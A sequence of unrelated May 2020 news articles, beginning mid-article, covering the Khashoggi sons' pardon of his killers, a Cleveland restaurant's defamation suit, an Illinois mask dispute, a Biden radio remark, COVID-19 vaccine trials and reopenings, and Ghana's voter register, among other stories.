There was never closure of the case since the body was never found, she said. The Turkish authorities are also still keeping records of the audio of the killing  which is described by the UN as chilling and graphic  that they could leak at any time.

Al-Najjar accused the Saudi authorities of trying to find ways to spare the lives of those who committed the crime.

There have been ongoing trials of the case where international observers are allowed to attend but without translators. The trial has been a complete joke and I would describe it as a theatre.





Martyr for a cause

Some activists also shared on social media a Saudi Supreme Court document from six years ago that said there can be no pardoning of perpetrators in homicide cases.

Under the Islamic law followed by Saudi Arabia, death sentences could be commuted if the victims family pardons the perpetrator.

But activists argue this applies to cases of family disputes or personal grievances, and not in a political case like Khashoggis.

The public prosecutions framing of the punishment [of Khashoggis killers] as retribution from the outset made it clear there was an intention to exonerate his murderers by way of a pardon from the family, said Abdullah Alaoudh, a Saudi academic at Georgetown University.

Unfortunately, what happened was expected.

Karen Attiah, editor at The Washington Post for which Khashoggi wrote columns, said his sons had surrendered and allowed the murderers of their father to go free.

"We the sons of the martyr, Jamal Khashoggi  That we have pardoned the killer of our father  God have mercy on his soul  for Gods sake, as we all seek and hope for Gods reward." Jamal's sons have surrendered and allowed the murderers of their father to go free. No justice. https://t.co/cD7psd9XSr  Karen Attiah (@KarenAttiah) May 22, 2020

But Abdulaziz Almoayyad, a Saudi activist based in Dublin, told Al Jazeera he disagreed with any backlash directed towards the Khashoggi family.

It is immoral for the media to focus such attention on Khashoggis family, especially since it is clear they are being pressured by the fascist Saudi regime, he said.

They are in the lap of autocracy, and we have no right to criticise or judge what they say, he added, calling Khashoggi a martyr for a cause.

Parody of justice

On Friday, Agnes Callamard, the UN rapporteur for extrajudicial executions, said the shocking decision by Khashoggis sons to forgive their fathers killers was just another step in Saudi Arabias parody of justice.

Callamard said the move was the final act in [Saudi Arabias] well-rehearsed parody of justice in front of an international community far too ready to be deceived.

Act One was their pretence of an investigation, she said, adding that the team Riyadh sent to help with the probe had in fact been ordered to clean up the crime scene, accusing it of obstruction of justice.

Nearly a month after Khashoggis killing, a report by the CIA concluded that Saudi Crown Prince Mohammed bin Salman (MBS) had issued orders to kill the Saudi dissident.

In September 2019, the Saudi crown prince indicated that he assumed some personal responsibility for the crime since it took place during his reign.

Last December, the Saudi judiciary issued preliminary rulings in the case, according to which three prominent officials  Saud al-Qahtani, former adviser to MBS; Mohammed al-Otaibi, the Saudi consul in Istanbul; and Ahmed al-Asiri, the former deputy director of intelligence  were acquitted of the crime.

Around the same time, five people were sentenced to death and three others imprisoned for 24 years for the killing, with the prosecution not revealing the names of the convicts.

The rulings were criticised by the international bodies as a sham, pointing that their purpose was for the kingdom to avoid holding the real perpetrators to account.

In the US, chairman of the House of Representatives Intelligence Committee, Adam Schiff, said the rulings were a continuation of the kingdoms efforts to distance Saudi leaders  including the crown prince  from the brutal assassination, adding that the crime was deliberate and not the result of a sudden decision or abnormal process.
CLEVELAND, Ohio  Owners of the Ohio City restaurant TownHall sued Cleveland Scene, claiming the alternative weekly defamed the restaurant by saying its general manager made a comment toward a black woman during a social media spat over criticism of the restaurants lack of coronavirus-related restrictions.

In fact, the comment  in which the manager told someone to go back to their country  was directed toward someone of eastern European descent, according to a statement by TownHall owner Bobby George later posted on Instagram.

The lawsuit, filed Thursday in Cuyahoga County Common Pleas Court, takes issue with the original headline and information Scene Editor-in-Chief Vince Grzegorek put in a story published Sunday about the Facebook dustup between manager Ryan Hartzell and former TownHall employee Taras Ustrytskyy.

The pair sparred that day over a lack of social distancing and employees not wearing face masks on the patio of the business on the weekend restaurants and bars were allowed to entertain patrons for the first time since the states coronavirus shutdowns.

The restaurant was one of four businesses the city gave notices to for violating the new requirements to prevent the spread of the virus. It said employees were not wearing masks, not keeping customers six feet apart and did not set a maximum capacity.

The heated exchange included Hartzell telling Ustrytskyy to stop with the fear mongering. If you hate this country so much go back to the one you came from. Hartzell later deleted the comment, though screenshots of it circulated across social media.

The issue, however, is that Grzegorek based his story on screenshots of the comment that made it appear that like Hartzell was responding to a black woman who posted Damn, imagine risking your life just to eat at Townhall, according to a story Scene published Thursday.

The original headline was Addressing Patio Concerns, Lago Ruminates on Nature of Art, TownHall GM Tells Black Woman to Go Back to the Country She Came From, the lawsuit states.

Later, after Grzegorek found out that the comment was directed toward Ustrytskyy, he updated the story and changed the headline to Addressing Patio Concerns, Lago Ruminates on Nature of Art, TownHall GM Says Go Back to the Country You Came From, according to the lawsuit and a correction the publication later added to the story.

Despite the correction, TownHall and Hartzell say in the lawsuit that Grzegorek published the first headline and article with an intent to harm the business, livelihood and profession of them. They said social media users continued to share the original article even after the change.

It says the original article was up for at least four hours and that TownHall and Hartzell received threats by phone and social media. TownHall also claimed that Grzegorek previously published false statements against the restaurant, pointing to a March 11 tweet where he said TownHall was hawking bone broth for coronavirus in email blasts.

The restaurant was criticized for the promotional push and its social media manager later acknowledged that its timing, right around the time the virus was quickly spreading, was an issue.

Claiming defamation, being portrayed in a false light and intentional infliction of emotional distress, Hartzell and the restaurant seek more than $25,000 in damages from Grzegorek and Scene.

Grzegorek referred a cleveland.com reporter to attorney Peter Pattakos, who represents him and Scene in the lawsuit.

Pattakos said in a statement posted on Scenes website that TownHall believes it should be entitled to damages ... because its manager made a bigoted comment about a Ukrainian immigrant, and not a black woman as Scene had mistakenly but reasonably believed for about an hour before it revised its column. He said the lawsuit was abusive and suggested that Scene may countersue TownHall.

George later called Hartzells comments insensitive and inappropriate on Instagram and said he would require Hartzell to take a sensitivity training course. However, he declined to fire Hartzell and described Ustrytskyy as a disgruntled, fired employee.
On the first day of the Illinois General Assembly's special pandemic session, in a makeshift chamber in the Bank of Springfield Center, the first order of business was to vote that everyone must wear a mask - a rule that passed overwhelmingly with bipartisan support.

But there was one Republican holdout on Wednesday: state Rep. Darren Bailey, who sat smiling at his desk on the floor of the arena and refused to put one on.

"[If] you want to send me or anyone else outside the doors today, I understand. Go right ahead," Bailey said when asked to comply, NPR Illinois reported. "But know this: If you do that, you're silencing millions of voices of people who have had enough."

His colleagues on both sides of the aisle didn't appear too worried. They kicked him out of the legislature by an 81-27 vote.

"Doormen, please remove Rep. Bailey," said state Rep. Jay Hoffman, D, before a group of men in masks escorted the mask-less Bailey from the arena, the state's temporary legislative home to allow for more social distancing.

ALSO Michelle Obama is stepping into the 2020 election with a program to boost voter turnout

Bailey, who has sued Illinois Gov. J.B. Pritzker, D, over his stay-at-home executive order, is among a number of Republican lawmakers nationwide who have joined their constituents in acts of defiance, fueling a political power struggle that has sometimes overshadowed the public health crisis. Masks have become part of those partisan battles, as some Republicans, most visibly President Trump, have refused to wear them in public.

To Bailey, the confrontation was a stand against being told by the government how to live his life, he told The Washington Post late Wednesday. But to his colleagues, it was a less than amusing bit of political theatrics while they have more pressing matters on their hands. Some Republicans joined Democrats in rebuking him.

"I don't think the people that sent us here to represent them today intended for us to focus our time on a mask showdown of whether you're wearing it or you're not," said state Rep. Dan Brady, R, according to NPR Illinois.

The Illinois House rules allow a lawmaker who is removed to return should he or she decide to don the face mask.

Pritzker had harsh words for Bailey at Wednesday's press briefing.

"The representative has shown a callous disregard for life, callous disregard for people's health," Pritzker said. "You just heard a doctor tell you why to wear a mask in the first place. It's to protect others. So clearly, the representative has no interest in protecting others."

Bailey's move follows a pattern by some GOP lawmakers to buck Democratic governors who have put forth stricter stay-at-home rules, such as in Illinois. GOP lawmakers in several states have joined protesters in anti-lockdown demonstrations. Some have gotten illegal haircuts or patronized illegally opened businesses. And like Bailey, some have sued their Democratic governors - which in Wisconsin led to the state Supreme Court striking down Gov. Tony Evers's stay-at-home restrictions. As a result, many bars immediately reopened.

In Bailey's case, the downstate Republican from Xenia, Illinois, won a temporary restraining order against Pritzker's stay-at-home order last month, which only applied to him. The case is ongoing with a hearing scheduled Friday.

On Wednesday, Bailey told The Washington Post that he believed the mask rule, which had been earlier announced by Democratic House Speaker Michael Madigan, was "not about health" but was instead "just another Democrat bullying tactic." He said he would wear one if he were concerned for his health, but he isn't, and doesn't like being told that he must.

"This whole thing that it's concern for other people? I don't buy that at all," he said.

The nation's leading public health experts have stressed that the purpose of wearing face masks is largely to protect other people from contracting the virus, which can spread when an infected person sneezes, coughs or talks and releases droplets. Anthony S. Fauci, the director of the National Institute of Allergy and Infectious Diseases, has said that masks can't offer 100 percent protection, but can help stop the spread to some degree, especially in places such as grocery stores where you may come within six feet of other people.

A few other Republican lawmakers had previously bristled at the idea that they would be required to wear a face mask during the special session, NBC Chicago reported, but ultimately complied on Wednesday.

"We cannot ignore nor compromise the health and safety of every member of the General Assembly, their family members, every one of our staffers who works tirelessly for us," Illinois House Republican Leader Jim Durkin said on the floor, the Chicago Tribune reported.

Bailey had previously spoken passionately about fighting for his unemployed constituents in an interview with The Post last month, calling the economic strife the "second pandemic." Asked Wednesday how he will represent them if he can't participate in the legislature without a mask, he said, "I don't know. That's something where I'll have to decide whether I go back tomorrow and wear a mask or not."
Democratic presidential candidate former Vice President Joe Biden shakes hands with supporters during a campaign event at Wofford University February 28, 2020 in Spartanburg, South Carolina.

WASHINGTON  Former Vice President Joe Biden on Friday defended his record of helping African Americans and advancing civil rights and voting rights, before ending an interview by telling a black radio host that if he can't decide whether to vote for Biden or Trump, then he "ain't black."

Appearing on the syndicated program "The Breakfast Club," the apparent Democratic presidential nominee told co-host Lenard McKelvey, known professionally as Charlamagne tha God, that there were "multiple" black women on his short list for VP. Biden has pledged that he will select a woman to be his running mate.

Biden surged to victory over Sen. Bernie Sanders in large part because of overwhelming black support in the South Carolina primary and other major primaries throughout March.

"I'm not acknowledging anybody who is being considered, but I guarantee you: There are multiple black women being considered," said Biden, who served under the first black president, Barack Obama. "Multiple."

Biden's campaign team is reportedly vetting at least three black female Democratic lawmakers as potential running mates: Sen. Kamala Harris of California, Rep. Val Demmings of Florida and former Georgia gubernatorial candidate Stacey Abrams. Susan Rice, who served as national security advisor to Obama, has also been mentioned as a potential candidate.

About 20 minutes into the interview, an aide to Biden can be heard trying to wrap up, saying, "Thank you so much. That's really our time. I apologize."

"You can't do that to black media!" Charlamagne replied, smiling.

"I do that to white media and black media because my wife has to go on at 6 o'clock," Biden responds, apparently referring to an interview that Dr. Jill Biden had to film from the same basement studio. "Uh oh. I'm in trouble," Biden added, looking at his watch.

"Listen, you've got to come see us when you come to New York, VP Biden," Charlamagne said. "It's a long way until November. We've got more questions."

"You've got more questions? Well, I tell you what, if you have a problem figuring out whether you're for me or Trump, then you ain't black," Biden quipped, before smiling broadly.

"It don't have nothing to do with Trump, it has to do with the fact  I want something for my community," Charlemagne replied.

"Take a look at my record, man," exclaimed Biden. "I extended the Voting Rights Act 25 years. I have a record that's second to none. The NAACP has endorsed me every time I've run. Take a look at the record. Anyway, thanks, I will come back."

VIDEO

The exchange was quickly seized upon by Trump supporters, who accused Biden of racism, as well as by some progressives, including Sanders' former presidential campaign press secretary, Briahna Joy Gray, who is black.

TWEET

Symone Sanders, a top Biden campaign advisor who is black, defended the former vice president.

"The comments made at the end of the Breakfast Club interview were in jest, but let's be clear about what the VP was saying: he was making the distinction that he would put his record with the African American community up against Trump's any day. Period," she tweeted.

SANDERS TWEET

On Friday afternoon, Biden walked back his comments, saying on a previously scheduled call with the U.S. Black Chamber of Commerce, "I shouldn't have been so cavalier."

"I know the comments have come off like I was taking the African vote for granted." Biden said, "but nothing could be further from the truth," reported NBC News, one of several media outlets invited at the last minute to join the call.

"I shouldn't have been such a wise guy," Biden said. "No one should have to vote for any party based on their race their religion their background."

"I'm prepared to put my record against his. That was the bottom line, and it was, it was really unfortunate. I shouldn't have been so cavalier."

Trump himself came under fire a day earlier for remarks he made to Ford Motor Company CEO Bill Ford during a trip to Michigan.

"In our lifetimes, the company founded by a man named Henry Ford  good bloodlines, good bloodlines  if you believe in that stuff," Trump said in a speech at a Ford plant in Ypsilanti, Michigan. "You got good blood," he said to Ford, the great-grandson of the company's founder.

The reason this is problematic is that Henry Ford was among the most influential American anti-Semites of the 20th century.

According to the Henry Ford Museum website: "Convinced that 'bankers' and 'the Jews' were responsible for a whole range of things he didn't like, from the world war to short skirts to jazz music, Ford used his newspaper, the Dearborn Independent, to carry on an active anti-Semitic campaign."

Trump also has a long history of racially charged and often divisive language. During the past few years, Trump has claimed there were "good people" among white nationalist marchers in Charlottesville, Virginia, he has referred to African nations and Haiti as "shithole countries," and he has accused a U.S.-born federal judge of bias because "he's a Mexican."

Prior to running for office, Trump fanned a racist conspiracy theory that Obama was born in Africa and therefore ineligible to serve as president. In the 1970's, Trump's family real estate company was sued by the Justice Department, twice, for allegedly discriminating against black prospective tenants.

UPDATE 3:47 p.m. -- This story has been updated to include Biden's comments on a call Friday afternoon.
As warmer weather starts to roll in and businesses prepare to reopen, there are still dozens of people dying from the coronavirus every day.

On Friday, health officials confirmed another 80 COVID-19 deaths, bringing the death toll to 6,228.

Officials also said another 805 residents have tested positive for the virus, which brings the total number of cases in Massachusetts to at least 90,889. Thats based on 10,158 new tests reported on Friday.

The latest figures come as beaches are set to reopen this coming Monday as part of the states phased reopening plan.

Gov. Charlie Baker on Friday again appealed to residents to follow the public health guidance to honor the collective sacrifices made by ordinary people, businesses and front line workers during the health crisis as summer approaches.

Its very important for us to respect the power of the contagion in this virus, Baker said.

Baker touted the states expanded testing efforts, noting on Friday that there are currently 250 testing sites in Massachusetts.

Baker was speaking in Lawrence  a city among the hardest hit places in the state  where officials announced a drive-through coronavirus testing site at Lawrence General Hospital. Lawrence Mayor Dan Rivera issued an executive order on Friday banning all public events through December of this year.

Baker administration officials have said that the decline in the percentage of positive cases is due in part to the states ability to capture the prevalence of the virus through high rates of testing.

I think we all remember that in the early and middle part of April, we were testing at around 20 or 30 percent positive in those tests, and as weve amped up and ramped up our testing weve seen the percentage continue to decline, which is a good thing," Baker said.

On Monday, Baker released his administrations four-phase plan to reopen parts of the Massachusetts economy, beginning with the restart of some operations and activities at hospitals, in construction and manufacturing, as well as places of worship, that day.

In the first phase, which is expected to last at least three weeks, retailers can resume work for curbside pickup; hair salons can take appointments; and some offices can open at limited capacity, according to the plan. Hospitals can resume certain high-priority services for high-risk patients, and some manufacturing and construction businesses can restart, provided they put in place workplace safety standards.

Coronavirus in Mass.: Cases, maps, charts and resources

Here are the cases listed by county:

Barnstable County: 1,257

Berkshire County: 510

Bristol County: 6,362

Dukes County: 26

Essex County: 13,221

Franklin County: 310

Hampden County: 5,568

Hampshire County: 812

Middlesex County: 20,085

Nantucket County: 13

Norfolk County: 7,724

Plymouth County: 7,424

Suffolk County: 17,180

Worcester County: 10,101

Unknown location: 296

Related Content:
Simon Parkins A GAME OF BIRDS AND WOLVES: The Ingenious Young Women Whose Secret Board Game Helped Win World War II (Little, Brown, 320 pp., $29) depicts part of the battle between Allied shipping and German submarines during World War II. Parkin, a contributing writer at The New Yorker, brings to life one of the most elusive aspects of war, showing how a military can develop an understanding of what the enemy is doing and then, without adding any additional firepower, find ways to stymie those actions.

Early in the war, German U-boats sank so many freighters crossing the North Atlantic that Winston Churchill and others began to fear the war could be lost for lack of supplies. In response, the Royal Navy in January 1942 formed a secret unit, staffed mainly by young women, that eventually overhauled British anti-submarine tactics. This unit, called the Western Approaches Tactical Unit, was tucked away on the top floor of Derby House, a building in downtown Liverpool. There it studied reports from sea on German submarine movements both preceding and following successful attacks. It then replayed those attacks, using a giant board game the size of a room, with an eye toward devising new ways of countering them. In its work it went from each British warship operating on its own to learning how to coordinate counterattacks with others. The unit even developed plays, akin to those a football team might use, and gave them shadowy code names like Half-Raspberry, Observant and Artichoke.

A skeptical admiral, one of Britains most highly decorated submarine commanders, arrived one day to role-play in the game as a U-boat commander. He was sunk in five successive games. At first he thought his opponents were cheating. Finally he was persuaded that the game wasnt rigged, and that he indeed had been trounced by a 20-year-old woman who had never been to sea or even seen a submarine. Eventually some 5,000 Royal Navy officers went through training at the unit, learning the plays and how to reinforce one another in going after U-boats. By mid-1943, British anti-submarine operations had become so effective that the Battle of the Atlantic was basically over, clearing the way for the tidal wave of American troops and supplies necessary to carry out the D-Day landings a year later.

The book would have been more illuminating had Parkin addressed comparative questions, such as why the Royal Air Force was so much better early in the war at giving strategic direction to its combat operations than was the Royal Navy. I suspect one reason was that the air arm, founded just a few decades earlier, was less fettered by tradition than was the sea service. But Parkin does not pretend to be presenting an academic study, and the story is compelling as it is.
Maggie Wilkinson, a senior at the Chattanooga High School Center for Creative Arts (CCA), is one of 161 high school seniors in the country named a 2020 U.S. Presidential Scholar. The U.S. Presidential Scholars award is one of the nations highest honors for high school students. Seniors selected exemplify academic excellence, leadership qualities, and community service. The distinction is presented on behalf of the President of the United States to seniors of high potential each year.

Ms. Wilkinson was awarded the honor because of her demonstrated excellence in creative arts. Johns Hopkins University, Brown University, Dartmouth University, and Princeton University recently accepted her for admission, but she selected Princeton. She plans to continue her study of creative writing and English at Princeton University this fall when she joins the Class of 2024.



Ms. Wilkinsons other accolades include being named a 2019 YoungArts Foundation Finalist in writing and poetry, the organizations highest honor. She was also a winner in the 2020 Chattanooga Photographic Societys Youth Showcase. Wilkinson won first place in architecture and photojournalism. She received second place in people and animals and third in monochrome. The national showcase, as well as the Hunter Museum, will exhibit her winning work.



Maggie Wilkinson is one artist who has created her legacy of success, said Debbie Smith, principal of Chattanooga High School Center for Creative Arts. She has harnessed her creativity using her pen to convey her written words, and she is a master at retelling stories that pull you to the edge of your seat and have you anxiously waiting to hear what she will say next. Her instructors, our staff, and the administration celebrate Maggies success as she continues to create a benchmark of excellence for all who encounter her.



Ms. Wilkinson is continuing what is becoming a tradition at CCA as this is the second consecutive year a Chattanooga High School Center for Creative Arts student has been honored as a Presidential Scholar. Zavier Chavez, a 2019 graduate of the Chattanooga High School Center for Creative Arts (CCA), was in the select group last year.

Scholars are selected annually by the White House Commission on Presidential Scholars, appointed by the President, based on academic achievement, personal characteristics, leadership and service activities, and writing ability. This year, more than 5,300 candidates qualified for the 2020 program determined by outstanding performance on the College Board SAT or ACT exams, through nominations made by Chief State School Officers, partner recognition organizations or the National YoungArts Foundation.
One person is feared dead in a gunfire exchange between Park Rangers of the Kalakpa Wildlife Resource Reserve and syndicated poachers from the Dzakpo community in the Adaklu District.



Mr Samuel Darko Akonor, the Park Manager, who narrated the incident to the Ghana News Agency (GNA), said the poachers engaged the Park Rangers on night duty patrols at the Abutia area of the Reserve, some 20 kilometres from Dzakpo, in the early hours of Tuesday.



He said the Rangers, who had heard a gunshot in the Reserve attempted to ward-off the poachers but were met with sporadic shootings, compelling the team to return fire at about 0100 hours on Wednesday.



The Park Manager said a team from the Reserve reported the incident to the Ho Municipal Police Command and requested for reinforcement to enable the team visit the spot of the shooting incident, after the poachers said one of them was missing.



Mr Akonor said the search party including the Rangers, Police and Dzakpo community members were unsuccessful in locating the missing person.



He, however told the GNA that unconfirmed information suggested the missing person was shot dead with the body allegedly in possession of some persons in the community.



Mr Akonor said the Police SWAT team after the search, moved in swiftly to the rescue of some Rangers, who were taken captive by the incensed youth of Dzakpo in a revenge attack.



The Park Manager said one of their camps near the Dzakpo community was subsequently vandalised by the people allegedly.



Superintendent of Police, Mr Anthony Danso, Ho Municipal Police Commander, confirmed the incident to the GNA and said the father of the victim reported an incident of a missing person to Police on Monday.



He said Police intelligence however gathered that the father knew where the deceased's body was and said the Police was going into the matter.

Source: GNA









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MasterChef fan favourite Sarah Tiong appears to be out of the competition.

The 29-year-old lawyer and chef was spotted leaving her Melbourne hotel on Thursday with a packed bag, which suggests she was heading home after being eliminated from the show.

Sarah, who normally resides in Sydney, had been staying in Melbourne while filming the Channel 10 cooking program.

Gone already? Sarah Tiong appears to be out of the MasterChef competition after she was spotted leaving her Melbourne hotel on Thursday with a packed bag

Onlookers saw Sarah being escorted from the hotel and into a yellow taxi.

She was then driven to another location in the city, where she was greeted by friends and family.

As she emerged from the taxi at her destination, a young woman excitedly leapt into Sarah's arms and gave her a hug.

Checking out: Onlookers saw Sarah being escorted from the hotel, where she had been staying for the duration of filming, and into a yellow taxi

She may have then travelled to the airport, but her exact movements are unknown.

Sarah's outing comes just days after fellow MasterChef contender Poh Ling Yeow was spotted shopping for groceries in the Victorian capital.

Many fans believed this sighting was proof the Adelaide-based chef was still in the running to take out the top spot.

Poh, 47, is a bookies' favourite to win the competition, which is still being filmed but is expected to wrap in the coming weeks.

Warm welcome: Sarah was driven to another location in Melbourne, where she was greeted by friends. She may have then travelled to the airport, but her exact movements are unknown

Home away from home: Sarah, who normally resides in Sydney, had been filming MasterChef at the Royal Melbourne Showgrounds

It comes after Daily Mail Australia revealed the rumoured final six contestants earlier this month.

Poh, Reynold Poernomo, Laura Sharrad, Brendan Pang, Reece Hignell and Emelia Jackson all appeared to confirm they were finalists with careless social media posts.

Daily Mail Australia has contacted Channel 10 for comment.
The Ghaziabad administration in Uttar Pradesh on Friday said markets in the district will open from May 25 on alternate days from 10 am to 5 pm.

Two days' time has been given to shopkeepers to make arrangements to ensure social distancing, it said.

District Magistrate (DM) Ajay Shankar Pandey told PTI that in case the markets open on Saturday, people would rush to shop and there is a risk of spreading of COVID-19.

Markets across the district will open from 10 am to 5 pm, he said.

All markets will remain closed every Sunday to avoid overcrowding, he added.

Pandey said markets in Indirapuram and Vaishali will open on Tuesday, Thursday and Saturday, while Vasundhara, Kaushambi, Rajendra Nagar, Shyam Park, Raj Nagar district centre shopping complexes will open on Monday, Wednesday and Friday.

The schedule for the entire district has been issued to traders' associations for circulation among the masses, he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Jim Haynes' extensive experience and leadership add juice to this upstart, mission driven company.

Pointe Bello LLC, a Texas-based strategic intelligence firm, welcomed William J. Jim Haynes II as the inaugural member of the companys advisory board.

We are thrilled to announce Jim as Pointe Bellos first distinguished advisor, said Patrick Jenevein, founder and chief executive officer of Pointe Bello. Jims extensive experience and leadership in information technology, national security, energy, biotechnology, and other fields adds juice to this upstart, mission driven company.

With offices in Dallas and Washington, DC, Pointe Bellos multilingual team blends seasoned analysis with technology to deliver cutting edge competitive intelligence and winning strategies for its customers. Pointe Bellos advisors will provide independent insights and 360-degree perspectives to the companys executive team.

Leaders in both the commercial and public sectors face enormous challenges delivering results while mitigating risks, said Haynes. Pointe Bellos world class, competitive and strategic intelligence gives leaders unique advantages to make more informed decisions, especially in difficult times like these. I look forward to helping Pointe Bello expand its reach and impact.

Understanding the complex intersections of commercial and national security interests is essential in todays global marketplace, said Amanda Schnetzer, Pointe Bellos chief operating officer. Jim Haynes has mastered that challenge at the highest levels of government and business. We are better as a nation for itand honored to welcome him as a Pointe Bello advisor.

About William J. Haynes II

Haynes provides strategic council to public and private entities and serves on various nonprofit boards, including the National Security Institute of the Antonin Scalia Law School at George Mason University, the Greater New York Councils of the Boy Scouts of America, the Naval Postgraduate School, and the Supreme Court Historical Society. From 2016-2018, he was executive vice president, general counsel, and secretary of CSRA Inc., eventually shepherding CSRAs sale to General Dynamics Corporation for $9.7 billion.

Prior to CSRA, Haynes served in executive roles with SIGA Technologies, Chevron Corporation, General Dynamics, and was twice a partner in the law firm Jenner & Block. Haynes held Senate-confirmed, presidentially appointed offices as General Counsel of the Department of Defense and Director of the Defense Legal Services Agency (2001-2008), as well as General Counsel of the Department of the Army (1990-1993). He is a graduate of Davidson College and Harvard Law School.

About Pointe Bello

Pointe Bello is a strategic intelligence firm with offices in Dallas and Washington, DC. The companys team of corporate executives, legal and policy experts, and seasoned researchers uses deep expertise and business acumen with markets and governments the world over, including and especially China, to help leaders balance risk with incisive understanding of their competitive landscape.

To learn more, visit https://www.pointebello.com/.

To receive future notices, visit https://www.pointebello.com/contact/.

Find recent issue insights here:

https://www.pointebello.com/briefs/china-standard-2035/

https://www.pointebello.com/briefs/reserved-interfaces/

https://www.pointebello.com/briefs/digital-silk-road/
01:06

University of Oxford researchers working on a vaccine to protect against coronavirus on Friday confirmed that they are moving to the next level as they begin recruiting over 10,000 people for the second phase of human trials.





The first phase of the trial began last month with 1,000 healthy adults aged 55 and under as volunteers.





Now more than 10,200 people, including over 70s and five to 12-year-olds, will be enrolled in the study, to see the effects on their immune system.





A recent study had found that the vaccine, named ChAdOx1 nCoV-19, had shown some promising results in a small study with monkeys.





"The COVID-19 vaccine trial team have been working hard on assessing the safety and immunogenicity of ChAdOx1 nCoV-19, and preparing to assess vaccine efficacy," said Sarah Gilbert, professor of vaccinology at the university's Jenner Institute who is leading the research.





"We have had a lot of interest already from people over the age of 55 years who were not eligible to take part in the phase I study, and we will now be able to include older age groups to continue the vaccine assessment. We will also be including more study sites, in different parts of the country," she said.





ChAdOx1 nCoV-19 is made from a virus (ChAdOx1), which is a weakened version of a common cold virus (adenovirus) that causes infections in chimpanzees, that has been genetically changed so that it is impossible for it to replicate in humans.





For the latest set of volunteers, researchers will be assessing the immune response to the vaccine in people of different ages, to find out if there is variation in how well the immune system responds in older people or children.





"The clinical studies are progressing very well and we are now initiating studies to evaluate how well the vaccine induces immune responses in older adults, and to test whether it can provide protection in the wider population," said Professor Andrew Pollard, head of the Oxford Vaccine Group.





The Phase III part of the study involves assessing how the vaccine works in a large number of people over the age of 18.





This group will assess how well the vaccine works to prevent people from becoming infected and unwell with COVID-19.





Adult participants in both the Phase II and Phase III groups will be randomised to receive one or two doses of either the ChAdOx1 nCoV-19 vaccine or a licensed vaccine (MenACWY) that will be used as a 'control' for comparison, the university said.





Mene Pangalos, Executive Vice President for BioPharmaceuticals R&D at AstraZeneca, which has a partnership with the university for the production of the vaccine if it is proved effective, said: "The speed at which this new vaccine has advanced into late-stage clinical trials is testament to Oxford's ground-breaking scientific research.





"We will do everything in our power to engage with governments, multilateral organisations and partners around the world to increase production and distribution and ensure rapid, fair and equitable distribution of a globally accessible vaccine."





The study aims to assess how well people across a broad range of ages could be protected from COVID-19 with this new vaccine. It will also provide valuable information on the safety aspects of the vaccine and its ability to generate good immune responses against the virus.





The team behind the vaccine have previously said they are aiming to have at least a million doses of a coronavirus vaccine by September this year.





However, the United Kingdom government has repeatedly warned that there are no guarantees a vaccine will be discovered against the deadly virus.





The Oxford University trial is among several experimental vaccines being developed worldwide to try and combat the spread of COVID-19 and help lift strict restrictions on human movement in place in most countries. -- PTI
Without any clear authority to do so, Mr. Trump said that he was calling houses of faith, including churches, synagogues, and mosques, essential services and urged governors to reopen them right now.

Today I am identifying houses of worship  churches, synagogue and mosques  as essential places that provide essential services, Mr. Trump said at a hastily scheduled briefing at the White House on Friday. Some governors have deemed liquor stores and abortion clinics as essential but have left out churches and other houses of worship. Its not right.

After he spoke, the Centers for Disease Control and Prevention issued a number of long-delayed guidelines with suggestions for steps that houses of worship can take to curb the spread of the virus. Among them was a recommendation that religious officials defer to the directive of state and local governments.

Still, the president threatened to override the governors if they did not follow his order, though it was not immediately clear what powers he was claiming. I call upon governors to allow our churches and places of worship to open right now, he said. If theres any question, theyre going to have to call me, but theyre not going to be successful in that call.

When the C.D.C. recently released a set of guidelines for reopening, its report largely mirrored an earlier draft version that the White House had rejected because Trump administration officials worried that the suggestions infringed on religious rights.

On Friday the C.D.C.s new guidelines for religious communities suggested that they consider a number of limitations to keep congregations safe. Among them:

Take steps to limit the size of gatherings in accordance with the guidance and directives of state and local authorities.

Consider suspending or at least decreasing use of a choir/musical ensembles and congregant singing, chanting, or reciting during services or other programming, if appropriate within the faith tradition. The act of singing may contribute to transmission of Covid-19, possibly through emission of aerosols.

Consider temporarily limiting the sharing of frequently touched objects that cannot be easily cleaned between persons, such as worship aids, prayer rugs, prayer books, hymnals, religious texts and other bulletins, books, shared cups, or other items received, passed or shared among congregants.

Mr. Trump said Friday at the White House that the nation needs religion. In America, we need more prayer, not less, he said. He left without taking questions.

David Postman, the chief of staff for Gov. Jay Inslee of Washington, said the state didnt know what the presidents comments meant and noted the state had not seen any formal order. We dont believe the president has the ability to dictate what states can and cannot open, Mr. Postman said.
Election in Ghana, and elsewhere, they say, is not an event but a process, which process begins with compiling a credible voters register; to the verification of the authenticity of the entries in the electoral list (register); to the exhibition of the voters register; to furnishing political parties with a provisional register; to the submission of the names of competing candidates; to training of electoral officials; to furnishing political parties with the final voters register; to opening of parliamentary and presidential nominations; to publication of notice of polls among other things.



All these processes/activities are time-bound and guided by a legal regime (i.e. Constitutional Instrument 91 as well as C.I. 94) both of which were enacted pursuant to the relevant provisions of the 1992 Constitution of Ghana. Interestingly, these provisions governing the conduct of elections particularly the date of holding elections are all entrenched provisions and so, amendment of same requires some mechanical and cumbersome processes including the holding of a nationwide referendum.



There is absolutely no gainsaying that of all the election-related activities or processes, the most critical is voter registration, because there cannot be a free and fair election without a credible register. And there cannot be a credible register without a credible voter management solution/technology, which provides the platform for voter registration, data storage, verification and elections.



DOES GHANA HAVE A CREDIBLE VOTER MANAGEMENT SOLUTION FOR ELECTION 2020?



The answer to this question, the writer submits, is an emphatic NO. The independent Constitutional Body that is clothed with the sole-mandate of administering public elections in this country, the Electoral Commission of Ghana, has told us time without number that the country, as we speak, has no voter management solution that is fit for purpose. So, what is the current status of the biometric voter management solution that was used for election 2012 and 2016?



The EC tells us that based on the advice of its IT team and external Consultants on the status of this voter management solution, it would be prudent and cost-effective to acquire a new solution/system rather than refurbish the current system which had become obsolete and unfit for purpose.



The Commission also produces evidence of a letter from the immediate past vendors of the current biometric system, which was contracted by the Charlotte Osei-led EC stating that, the Commission would assume so much needles risks if steps were not taken to change the current equipment. The letter stated in parts that:



We would be like to announce that the items in the present BVRs are End- of-Life including laptops. This means that no components are available to repair the items. For purposes of availability, maintainability and compatibility in the future we recommend to the EC to purchase new BVRs. If you have any questions please contact us.



We should not also forget that it has always been the practice over the years for the EC to replace the voters register after every 8 years usually in election years; i.e. after two General Elections and two District Level Elections due to population dynamics and technological innovations. The reason for the periodic replacement of the voters register is mainly as a result of reforms to improve the credibility and integrity of the register in line with advancement in technology.



